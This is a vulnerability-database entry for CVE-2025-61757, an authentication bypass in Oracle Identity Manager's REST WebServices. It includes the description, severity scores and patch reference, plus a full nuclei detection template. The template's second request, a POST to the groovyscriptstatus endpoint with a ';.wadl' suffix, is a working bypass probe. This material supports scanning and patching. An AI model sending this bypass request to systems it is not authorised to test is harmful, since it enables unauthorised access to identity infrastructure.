Oracle Identity Manager REST WebServices - Authentication Bypass

Exploited in the wild. Listed by CISA on 2025-11-21; known to be used by ransomware.

criticalseverity

9.8CVSS score

88.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.

Impact

Allows unauthenticated attacker to fully compromise Oracle Identity Manager via HTTP(S), leading to complete loss of confidentiality, integrity, and availability.

Fix

Apply the latest security updates released by Oracle as referenced in the October 2025 Critical Patch Update.

How to confirm it

Send: GET /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus
Positive when: status_code == 401 and contains(header, "Oracle")
Send: POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl
Positive when: status_code == 200 and contains(content_type, "text/plain") and contains(body, "Script Compilation Successful")

Run it with nuclei: nuclei -id CVE-2025-61757 -u <target>

The full check

id: CVE-2025-61757

info:
  name: Oracle Identity Manager REST WebServices - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.
  impact: |
    Allows unauthenticated attacker to fully compromise Oracle Identity Manager via HTTP(S), leading to complete loss of confidentiality, integrity, and availability.
  remediation: |
    Apply the latest security updates released by Oracle as referenced in the October 2025 Critical Patch Update.
  reference:
    - https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-61757
    epss-score: 0.88647
    epss-percentile: 0.99775
    cwe-id: CWE-306
    cpe: cpe:2.3:a:oracle:identity_manager:12.2.1.4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oracle
    product: identity_manager
    shodan-query: title:"oracle access management"
    fofa-query: title="oracle access management"
  tags: cve,cve2025,oracle,identity-manager,auth-bypass,rce,kev,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(header, "Oracle")'
        condition: and
        internal: true

  - raw:
      - |
        POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains(body, "Script Compilation Successful")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from